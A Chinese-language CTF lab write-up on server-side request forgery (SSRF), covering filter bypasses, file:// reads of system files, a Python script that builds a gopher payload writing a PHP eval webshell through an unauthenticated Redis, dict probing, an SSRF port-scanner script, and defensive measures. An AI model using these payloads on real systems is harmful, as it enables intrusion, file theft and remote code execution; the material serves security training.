ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

CTFHub SSRF漏洞实战:从内网探测到伪协议攻击与自动化扫描

CTFHub SSRF漏洞实战:从内网探测到伪协议攻击与自动化扫描

1. 项目概述:从靶场到实战的SSRF技能精进之路

在网络安全的学习和实战演练中,CTF(Capture The Flag)比赛是检验和提升技能的重要战场。CTFHub作为国内知名的CTF练习平台,其技能树体系为学习者提供了系统化的进阶路径。其中,SSRF(Server-Side Request Forgery,服务器端请求伪造)漏洞因其能“借刀杀人”,穿透边界,攻击内网,一直是中高级赛题中的常客,也是红队评估中的高危风险点。这个项目笔记,正是围绕CTFHub技能树中SSRF这一核心漏洞类型,对其三个关键攻击场景——内网访问、伪协议读取文件、端口扫描——进行深度拆解与实战复盘。

SSRF的本质是攻击者能够诱使服务器应用程序向攻击者指定的任意域发起HTTP请求。这听起来简单,但其威力在于,这个请求是从受信任的服务器内部发出的,可以绕过客户端的诸多安全限制(如防火墙、IP白名单),直接触达外部网络无法访问的内部系统。因此,掌握SSRF,就等于掌握了一把从外网刺向内网的“钥匙”。本笔记的目的,不仅仅是记录解题步骤,更是要剖析每一步背后的原理、工具的选择逻辑、绕过技巧的思维过程,以及在实际渗透测试中可能遇到的变种和防御措施。无论你是正在攻克CTFHub技能树的CTF选手,还是希望深入理解SSRF漏洞的安服人员或红队队员,这份从靶场实操中提炼的“战地笔记”都将为你提供清晰的攻击视角和扎实的防御思考。

2. SSRF核心原理与攻击面深度解析

在深入具体场景之前,我们必须夯实基础,透彻理解SSRF为何能成立,以及它的攻击面究竟有多广。这绝非一个简单的“参数传递URL”问题。

2.1 漏洞成因:信任边界的错位

SSRF漏洞的根源在于“信任边界”的模糊。应用程序通常包含这样的功能:根据用户输入的URL,获取远程资源(如图片、数据、网页内容)并返回给用户。例如,一个在线文档转换服务,允许用户输入一个网页URL来抓取内容并转换为PDF。服务器端代码(如PHP的file_get_contents()curl_exec(), Python的requests.get(), Java的URLConnection等)会执行这个网络请求。

漏洞就产生在这里:开发者假设用户输入的URL一定是其意图访问的公网资源。但攻击者可以输入一个指向服务器本机(127.0.0.1localhost)、内网其他机器(如192.168.1.10),甚至是服务器能访问但外网不能访问的特定云元数据服务(如AWS的169.254.169.254)的URL。由于请求发自服务器自身,它通常拥有比外部攻击者高得多的网络权限,从而实现了权限提升和边界突破。

注意:并非所有发起外部请求的功能都存在SSRF。关键判断点在于,服务器是否将请求的响应内容(全部或部分)返回给了用户。如果服务器只是用请求去做后台处理(如验证URL是否存在但不返回内容),则可能构成“Blind SSRF”(盲SSRF),虽然危害稍低,但仍有利用价值(如端口扫描、触发内部webhook)。

2.2 关键协议与伪协议利用

SSRF的威力很大程度上得益于各种URL协议(Scheme)的支持。除了常见的http://https://,许多编程语言的网络库或函数还支持一些特殊的“伪协议”,它们能将SSRF的攻击面从网络层扩展到文件系统、内存甚至内部服务。

  • file协议file://协议允许直接读取服务器本地文件系统上的文件。例如,file:///etc/passwd可以尝试读取Linux系统的用户账户文件。这是从“网络请求”到“本地文件读取”的关键跳板。
  • gopher协议:这是一个“上古”协议,但因其设计简单,可以封装成原始的TCP数据包,常被用于构造攻击内网Redis、Memcached、FastCGI等服务的payload。它能让SSRF攻击从简单的HTTP请求升级为可交互的协议攻击。
  • dict协议dict://协议用于查询字典服务器,但它也可以用来探测端口是否开放,因为建立连接后它会立即返回服务标识,比HTTP扫描更隐蔽和快速。
  • 其他协议:如ldap://tftp://ssh://等,取决于服务器环境具体支持哪些。在PHP环境中,php://zip://phar://等包装器也可能被滥用,但它们通常用于文件包含漏洞,在SSRF上下文中有一定限制。

理解目标服务器支持哪些协议,是扩大攻击范围的第一步。探测方法通常包括:观察错误信息、尝试不同协议读取已知文件(如file:///etc/passwd)、或者使用工具进行模糊测试。

2.3 攻击链条与潜在危害

一个成功的SSRF攻击往往不是单一动作,而是一个攻击链条:

  1. 发现注入点:找到接收URL参数的功能点,如头像上传、数据抓取、网页翻译、调用第三方API的中转服务等。
  2. 绕过过滤:应对开发人员可能设置的防御,如黑名单(过滤127.0.0.1localhost)、白名单(只允许特定域名)、URL解析校验等。
  3. 探测内网:利用SSRF作为侦察工具,扫描内网IP段和端口,绘制内网拓扑。
  4. 访问内部服务:直接与内部的管理后台、数据库、缓存服务、未授权API等进行交互。
  5. 升级攻击:结合内网服务的其他漏洞(如Redis未授权访问、FastCGI RCE),实现从SSRF到远程代码执行(RCE)的质变,最终完全控制服务器或内网机器。

3. 靶场实战一:内网访问与信息刺探

CTFHub技能树的SSRF关卡通常从最简单的内网访问开始。这不仅是技术的起点,更是思维的起点:如何发现并利用这个“内部视角”。

3.1 环境识别与参数定位

首先,我们需要一个存在SSRF漏洞的靶场环境。以CTFHub的典型题目为例,我们可能会看到一个简单的Web界面,只有一个输入框,提示“请输入图片URL”或“抓取网页内容”。作为攻击者,我们的第一步不是盲目输入,而是信息收集:

  1. 前端分析:查看网页源代码,寻找隐藏表单、注释掉的接口或JavaScript逻辑,看是否有其他参数或提示。
  2. 参数探测:尝试常见的参数名,如urllinkpathfilesrcapi等。使用Burp Suite的Intruder模块或ffuf等工具进行参数名模糊测试也是高效的方法。
  3. 响应观察:输入一个合法的公网URL(如https://www.baidu.com),观察服务器响应。响应内容是否包含了目标网页的内容?是完整包含还是只提取了部分?响应头中是否有特殊信息(如服务器IP、内部处理时间)?错误信息是否会回显(这对于盲注很重要)?

假设我们确定了参数名为url,并且服务器会将请求的网页标题返回给我们。那么,一个基本的测试Payload就是:http://127.0.0.1/。如果返回了本机Web服务(如Apache欢迎页)的标题,那么SSRF漏洞就确认存在了。

3.2 绕过常见过滤机制

开发者不会坐以待毙,通常会实施一些过滤。CTFHub的题目会模拟这些场景,考验我们的绕过技巧。

  • 场景A:黑名单过滤(如过滤127.0.0.1,localhost

    • IP地址变形
      • 十进制IP:127.0.0.1的十进制表示为2130706433。访问http://2130706433/等价于http://127.0.0.1/
      • 八进制IP:127.0.0.1转为八进制0177.0.0.01(注意前导0)。在某些解析器中有效。
      • 十六进制IP:0x7f000001
      • IP省略:127.1在某些情况下等价于127.0.0.1
    • 域名指向
      • localhost的替代:locallocalhost.(加点)、localtest.me(这个域名解析到127.0.0.1)。
      • 指向127.0.0.1的任意域名:利用DNS重绑定技术,或使用已知的短域名如s.sp(需自行搭建或寻找)。
    • URL解析歧义
      • 利用@符号:http://foo@127.0.0.1foo@会被解析为用户名,主机部分仍是127.0.0.1。如果过滤逻辑不严谨,可能只检查@之前或之后的部分。
      • 利用#号:http://127.0.0.1#.evil.com。有些解析器会将#后的内容视为片段标识符,实际请求的是127.0.0.1
      • 利用DNS解析层级:http://127.0.0.1.nip.ionip.io是一个泛解析服务,127.0.0.1.nip.io会解析到127.0.0.1。如果过滤只检查完整域名是否在黑名单中,可能绕过。
  • 场景B:白名单过滤(只允许*.ctfhub.com或特定域名)

    • 利用URL解析差异:这是最经典的绕过方式。不同库(如curllibcurl、Pythonurllib、JavaURL)的URL解析器存在差异。
      • 利用@http://ctfhub.com@127.0.0.1/。许多解析器会将其解释为:用户名ctfhub.com,主机127.0.0.1。但白名单校验可能只看到ctfhub.com就放行了。
      • 利用?#http://ctfhub.com?127.0.0.1http://ctfhub.com#127.0.0.1。校验方可能只取?#之前的主机名,而实际请求库可能将整个字符串作为路径处理,导致连接到127.0.0.1?这里需要具体测试,有时需要结合DNS重绑定。
    • DNS重绑定攻击:这是对抗白名单的“大杀器”。原理是:攻击者控制一个域名(如evil.com),将其DNS记录的TTL设置为极短。第一次解析时,返回一个在白名单内的IP(如1.2.3.4)。服务器校验通过后发起请求,但在请求过程中,由于TTL极短,DNS服务器第二次解析该域名时,返回攻击者真正的目标IP(如192.168.1.1)。如果服务器使用的是异步DNS解析或缓存策略有问题,就可能请求到内网IP。在CTF中,题目可能会简化这一过程,直接提供一个可配置DNS的域名服务。

实操心得:绕过过滤的核心是“混淆”。要了解目标服务器使用的是什么编程语言、什么网络库,然后针对该库的解析特性进行测试。Burp Suite的Collaborator客户端或DNSLog平台(如ceye.iodnslog.cn)是测试DNS交互和盲SSRF的必备工具,可以帮你确认请求是否真正发出以及何时发出。

3.3 内网资产探测与指纹识别

一旦绕过过滤,成功访问到127.0.0.1,我们就要从“能访问”升级到“能发现”。内网就像一个黑暗森林,我们需要照亮它。

  1. 端口扫描:这是最基本的内网探测。由于是通过Web应用发起的请求,我们无法使用Nmap这样的原生TCP扫描器。但我们可以利用HTTP/S请求的响应时间、状态码和内容来判断端口是否开放及运行的服务。

    • 思路:循环请求http://127.0.0.1:PORT/http://192.168.1.1:PORT/
    • 判断依据
      • 连接超时(如5秒以上无响应):端口可能关闭或被防火墙拦截。
      • 连接被拒绝(快速返回错误如Connection refused):端口关闭。
      • 收到HTTP响应(状态码200、403、500等):端口开放且运行着HTTP服务。
      • 收到非HTTP响应(如Redis的-ERR unknown command, MySQL的握手包):端口开放且运行着其他协议服务(这通常需要进一步处理原始响应)。
    • 工具化:可以编写Python脚本,结合requests库和socket超时设置,批量探测常用端口(如80, 443, 8080, 8000, 6379, 3306, 21, 22, 27017等)。在CTF中,题目可能直接提供一个“端口扫描”功能,让你输入IP,它来帮你扫,这其实就是一个SSRF的利用场景。
  2. 服务指纹识别:发现开放端口后,需要识别具体服务。

    • HTTP服务:访问其根路径或特定路径(如/admin,/phpinfo.php),观察标题、响应头(Server,X-Powered-By)、页面内容、错误信息。
    • 数据库/缓存服务:尝试发送一个该服务的协议级指令。例如,对于疑似Redis的6379端口,可以尝试发送PING\r\n。这需要构造原始TCP数据,此时gopher协议就派上用场了。我们可以构造一个gopher://127.0.0.1:6379/_PING%0d%0a的Payload,如果返回+PONG,则确认是Redis且可交互。
  3. 敏感文件与接口探测:针对识别出的Web服务,进行目录扫描和敏感接口探测。例如,发现内网有一个Jenkins(端口8080),可以尝试访问/manage,/script等路径;发现一个Consul(端口8500),可以访问/v1/agent/services获取服务列表。这需要你对常见中间件、管理系统的默认路径和API有知识储备。

4. 靶场实战二:伪协议利用与文件读取

http协议被严格限制时,伪协议就成了我们打开局面的另一扇窗。CTFHub中“伪协议读取文件”的关卡,正是对此能力的考核。

4.1 file协议利用与路径遍历

file://协议是最直接的文件读取方式。但利用它并非简单地输入file:///etc/passwd就能成功,会遇到多种限制。

  • 基础利用?url=file:///etc/passwd。如果成功,服务器会读取本地的/etc/passwd文件并将其内容返回。这直接证明了服务器支持file协议,并且Web进程有读取该文件的权限。

  • 路径遍历:如果目标文件不在根目录,或者你想探索其他目录,就需要使用路径遍历。

    • file:///var/www/html/index.php:读取Web根目录下的源码。
    • file:///proc/self/cwd/../config.py:利用Linux的/proc文件系统。/proc/self/cwd是当前进程的工作目录符号链接,结合../可以尝试定位配置文件。
    • file:///home/username/.bash_history:读取用户的历史命令,可能泄露敏感信息。
    • file://C:\Windows\System32\drivers\etc\hosts:在Windows系统上读取hosts文件。
  • 绕过技巧

    • 编码绕过:如果过滤了../,可以尝试URL编码..%2f、双重编码..%252f,或者使用....//(某些过滤逻辑只替换一次../)。
    • 绝对路径与相对路径:理解应用程序当前的工作目录。有时使用相对路径file://./config可能比绝对路径更有效。
    • 利用PHP包装器:在PHP环境中,即使file://被禁用,php://filter/convert.base64-encode/resource=/etc/passwd也可能奏效。它通过PHP的流包装器读取文件,并以base64编码输出,常用于文件包含漏洞,但在某些SSRF上下文中,如果服务器将整个URL字符串传递给类似file_get_contents()的函数,也可能被利用。

注意事项:file协议读取文件受服务器进程权限限制。Web服务通常以www-datanginxapache等低权限用户运行,可能无法读取/root/.ssh/id_rsa这样的文件。但读取Web目录源码、配置文件、日志文件通常是可行的,这些信息对于后续攻击极具价值。

4.2 gopher协议构造与协议攻击

gopher协议是SSRF武器库中的“瑞士军刀”,它允许我们构造几乎任意的TCP数据包,从而与内网的各种TCP服务进行交互。CTFHub中涉及gopher的题目,往往要求我们攻击内网的Redis、FastCGI等服务。

gopher协议格式gopher://<host>:<port>/<gopher-path>。其中<gopher-path>是核心,它代表要发送的TCP数据流。数据流中的特殊字符需要URL编码。

  • 一行数据以\r\n(CRLF)结束,在Payload中表示为%0d%0a
  • 整个数据流以一个空行(即\r\n,也就是%0d%0a)结束,表示请求结束。

实战案例:攻击内网未授权Redis

假设我们通过SSRF探测到内网192.168.0.26379端口开放Redis服务,且未设置密码。

  1. 目标:通过Redis写入Webshell,获取服务器权限。
  2. 原理:Redis可以通过CONFIG SET dirCONFIG SET dbfilename命令,将数据保存到任意文件。如果我们能控制保存的数据内容,就能写入一个Webshell。
  3. Payload构造步骤: a. 连接Redis:gopher://192.168.0.2:6379/_b. 发送Redis命令。注意,Redis协议是“简单协议”,每一条命令以数组形式发送,格式为:*<参数个数>\r\n$<参数1长度>\r\n<参数1>\r\n$<参数2长度>\r\n<参数2>\r\n...。 c. 我们要执行的命令序列是:flushall set shell "<?php @eval($_POST['cmd']);?>" config set dir /var/www/html config set dbfilename shell.php saved. 将上述命令转换为Redis协议格式,并进行URL编码。这是一个体力活,但我们可以用Python脚本辅助生成:python import urllib.parse cmd = """*1\r\n$8\r\nflushall\r\n*3\r\n$3\r\nset\r\n$5\r\nshell\r\n$30\r\n<?php @eval($_POST['cmd']);?>\r\n*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$15\r\n/var/www/html\r\n*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n*1\r\n$4\r\nsave\r\n""" gopher_payload = "gopher://192.168.0.2:6379/_" + urllib.parse.quote(cmd) print(gopher_payload)e. 将生成的超长gopherURL作为SSRF的url参数提交。如果成功,Redis就会在/var/www/html/shell.php中写入一句话木马。
  4. 利用:访问http://192.168.0.2/shell.php,用POST传递cmd=system('id');,即可执行命令。

实操心得:gopher攻击的成功率取决于多个因素:1) 网络可达;2) 目标服务版本和配置(如Redis是否禁用高危命令CONFIGSAVE);3) 文件路径权限(Web用户是否有权在/var/www/html写文件)。在实际渗透中,可能需要尝试写入其他路径(如/tmp),或利用Redis主从复制、Lua沙盒逃逸等更复杂的技巧。CTF题目通常会简化环境,确保关键路径可写。

4.3 dict协议与端口服务探测

dict协议比gopher简单,主要用于快速的信息泄露和端口探测。它的格式是dict://<host>:<port>/<word>,会向指定的字典服务器查询<word>。但我们可以利用它来与任意TCP端口进行简单交互。

  • 服务指纹识别:向一个端口发送dict请求,如果端口开放且运行了服务,通常会返回一个标识符或错误信息。
    • dict://127.0.0.1:6379/info:如果Redis开放,可能会返回-ERR unknown command 'info'(因为info不是有效的DICT命令,但Redis收到了数据并回复了错误),这足以证明6379端口运行着Redis。
    • dict://127.0.0.1:21/info:FTP端口可能会返回220开头的欢迎标语。
  • 信息泄露:某些dict服务器配置不当,可能允许列出所有单词或获取元数据。但在SSRF中,更主要的用途还是作为轻量级的端口扫描和协议探针。

与完整的端口扫描脚本相比,dict扫描更隐蔽,请求量小,但提供的信息也有限。它适合在初步探测时快速验证某个端口是否开放了已知的文本协议服务。

5. 靶场实战三:自动化端口扫描与工具化

手动构造每一个Payload是低效的。在CTF比赛或真实渗透中,我们需要将这个过程工具化、自动化。CTFHub的“端口扫描”关卡,本质上就是考察我们如何利用SSRF漏洞点,将其转化为一个内网端口扫描器。

5.1 基于时间差的盲端口扫描

当SSRF是“盲”的,即服务器不会将请求的响应内容返回给我们,只会返回成功或失败(甚至只有时间差)时,我们依然可以进行端口扫描。这就是“基于时间差的盲扫描”(Time-based Blind Port Scan)。

原理:向目标端口发起请求,并测量从发送请求到收到响应(或超时)的时间。

  • 端口开放:如果端口开放且有服务监听,TCP连接会快速建立(或快速被拒绝)。服务器处理我们的SSRF请求的时间较短。
  • 端口关闭:如果端口关闭,TCP连接尝试会等待直到超时(例如,系统默认的TCP连接超时时间可能是几十秒)。这会导致服务器处理SSRF请求的时间非常长。

因此,我们可以通过比较请求的响应时间,来推断端口状态。在CTF的Web题目中,我们通常只能观察到整个SSRF功能页面的加载时间。

实现方法

  1. 编写一个脚本,循环向目标IP的端口列表发送SSRF请求。
  2. 记录每个请求从发起到页面加载完成(或收到服务器响应)的时间。
  3. 设定一个阈值(如2秒)。响应时间低于阈值的,推断为端口开放或关闭(需要结合其他信息判断);响应时间远高于阈值的(接近TCP超时时间),推断为端口关闭。
  4. 为了提高准确性,可以对每个端口多次请求取平均时间,并设置一个基线(例如,对一个已知关闭的端口多次请求,计算其平均超时时间)。

5.2 使用Python实现SSRF扫描器

下面是一个简单的Python脚本示例,用于针对一个已知存在SSRF漏洞的端点进行内网端口扫描。假设漏洞点在http://target.com/ssrf.php?url=,且它会返回请求页面的标题。

import requests import time # 配置 target_url = "http://target.com/ssrf.php" param_name = "url" target_ip = "192.168.0.1" # 目标内网IP ports_to_scan = [80, 443, 8080, 8000, 22, 21, 3306, 6379, 27017, 9200] # 常见端口 timeout_threshold = 3.0 # 超时阈值(秒) headers = {'User-Agent': 'Mozilla/5.0'} def scan_port(port): """扫描单个端口""" # 构造SSRF Payload payload = f"http://{target_ip}:{port}/" params = {param_name: payload} start_time = time.time() try: # 设置较短的超时时间,避免长时间等待关闭的端口 response = requests.get(target_url, params=params, headers=headers, timeout=5) elapsed_time = time.time() - start_time # 判断逻辑 if response.status_code == 200: # 如果页面正常返回,可以根据内容进一步判断 if "Connection refused" in response.text: print(f"[+] Port {port}: CLOSED (Connection refused) - Time: {elapsed_time:.2f}s") return "closed" elif elapsed_time < timeout_threshold: print(f"[+] Port {port}: OPEN or FILTERED - Time: {elapsed_time:.2f}s") # 可以尝试从响应中提取标题或内容进行指纹识别 if response.text: # 简单提取title标签内容 import re title_match = re.search(r'<title>(.*?)</title>', response.text, re.IGNORECASE) if title_match: print(f" Title: {title_match.group(1)}") return "open" else: # 响应慢,可能是关闭端口触发了TCP超时 print(f"[+] Port {port}: LIKELY CLOSED (Slow) - Time: {elapsed_time:.2f}s") return "closed" else: print(f"[+] Port {port}: Got HTTP {response.status_code} - Time: {elapsed_time:.2f}s") return "unknown" except requests.exceptions.Timeout: print(f"[+] Port {port}: TIMEOUT (Likely CLOSED or filtered)") return "closed" except requests.exceptions.RequestException as e: print(f"[+] Port {port}: Error - {e}") return "error" if __name__ == "__main__": print(f"[*] Starting SSRF port scan against {target_ip}") for port in ports_to_scan: scan_port(port) time.sleep(0.5) # 避免请求过快被WAF封禁 print("[*] Scan completed.")

这个脚本提供了基本的框架。在实际使用中,你需要根据靶场的具体行为进行调整:

  • 盲扫描:如果靶场不返回内容,只返回成功/失败,你需要移除对响应内容的分析,完全依赖elapsed_timetimeout异常来判断。
  • 延迟调整timeout_thresholdrequests.get()timeout参数需要根据网络环境调整。
  • 错误处理:增加更细致的错误处理,区分连接超时、读取超时、连接被拒绝等。

5.3 集成化工具与技巧

除了自己写脚本,也可以利用现有工具的半自动化功能:

  • Burp Suite Intruder + Pitchfork模式:将url参数设置为http://192.168.0.1:§port§/port设置为payload位置。使用数字payload,并设置Grep - Match规则来识别开放的端口(例如,匹配页面中的特定关键词,或根据响应长度、状态码筛选)。对于盲扫描,可以结合Grep - Extract来捕获响应时间(但这需要Pro版本的高级功能)。
  • ffuf:这是一个快速的Web模糊测试工具,也可以用于SSRF扫描。
    ffuf -u "http://target.com/ssrf.php?url=http://192.168.0.1:PORT/" -w ports.txt:PORT -mr "特定关键词" -t 10
    其中ports.txt是端口列表文件,-mr用于匹配响应中的关键词。

注意事项:自动化扫描会产生大量请求,极易触发靶场的防护机制(如IP封锁、频率限制)。务必控制扫描速度,添加延迟(time.sleep),并考虑使用代理池。在CTF中,题目通常不会设置太严格的限制,但在真实环境中必须谨慎。

6. 防御视角:从攻击中学习防护

作为一名安全从业者,知其攻更要知其防。通过深入理解SSRF的攻击手法,我们可以更好地设计防御策略。

6.1 开发层面的防御措施

  1. 输入校验与白名单

    • 最佳实践是使用白名单:只允许访问预先定义好的、可信的域名或IP地址列表。正则表达式要写完整,避免被绕过。
    • 如果必须使用黑名单,要过滤所有形式的localhost127.0.0.1(及其各种变形)、内网IP段(10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)、链路本地地址(169.254.0.0/16)和云元数据IP(如169.254.169.254)。
    • 解析URL后校验:使用编程语言的标准库(如Python的urlparse, Java的URI)解析用户输入的URL,获取其host(主机名),然后对该host进行DNS解析,获取真实的IP地址,再判断该IP是否属于禁止访问的范围。注意要解析到最终的IP,防止DNS重绑定
  2. 禁用危险的URL协议:在应用程序或网络库层面,明确只允许httphttps协议,禁用filegopherdictldapftp等所有不必要的协议。

  3. 设置网络访问边界

    • 出站防火墙:对服务器施加严格的出站防火墙规则,只允许访问必要的外部服务,阻断到内网其他段和元数据服务的请求。
    • 使用网络命名空间或沙盒:将执行外部请求的服务运行在一个独立的、网络受限的容器或沙盒环境中。
    • 使用中间代理:所有对外请求必须通过一个安全的代理服务器发出,该代理服务器强制实施白名单策略。
  4. 认证与权限:确保向内部服务发起的请求也携带必要的认证信息(但这不能完全防止SSRF,因为攻击者可能利用已有权限访问更高权限的内部接口)。

6.2 运维与架构层面的加固

  1. 最小权限原则:运行Web服务的账户应具有最小的文件系统权限和网络访问权限。避免使用root或高权限账户。
  2. 网络分段:将关键内部服务(如数据库、缓存、管理后台)部署在独立的VPC或子网中,并通过安全组、ACL严格限制访问来源,确保即使Web服务器被攻陷,攻击者也无法直接访问核心业务网络。
  3. 及时更新与补丁:保持所有中间件、库和操作系统的最新状态,避免已知漏洞被利用作为SSRF的后续攻击跳板。
  4. 安全监控与日志审计:详细记录所有对外发起的HTTP请求日志(包括目标URL、源IP、时间戳)。设置告警规则,对访问内网地址、元数据地址或异常端口的请求进行实时告警。

6.3 漏洞挖掘中的思维转换

当你从攻击者视角切换回防御者视角时,在代码审计或黑盒测试中,寻找SSRF的思路如下:

  • 功能点追踪:寻找所有涉及“URL获取”、“资源拉取”、“远程调用”、“Webhook回调”、“图片/文件远程下载”、“转码/翻译服务”的功能。
  • 参数追踪:追踪用户可控的输入,看它是否最终传递给了网络请求函数。
  • 协议测试:尝试输入file:///etc/passwdhttp://169.254.169.254/latest/meta-data/等测试Payload。
  • DNS交互测试:使用Burp Collaborator或类似工具,提交一个指向Collaborator子域名的URL,观察是否有DNS查询或HTTP请求发出,这能发现“盲SSRF”。

踩过SSRF攻击的每一个坑,都能让你在设计系统时多一分警惕。真正牢固的防御,源于对攻击链路的深刻理解。CTFHub的技能树练习,正是为我们提供了这样一个低成本、高效率的理解战场。

返回列表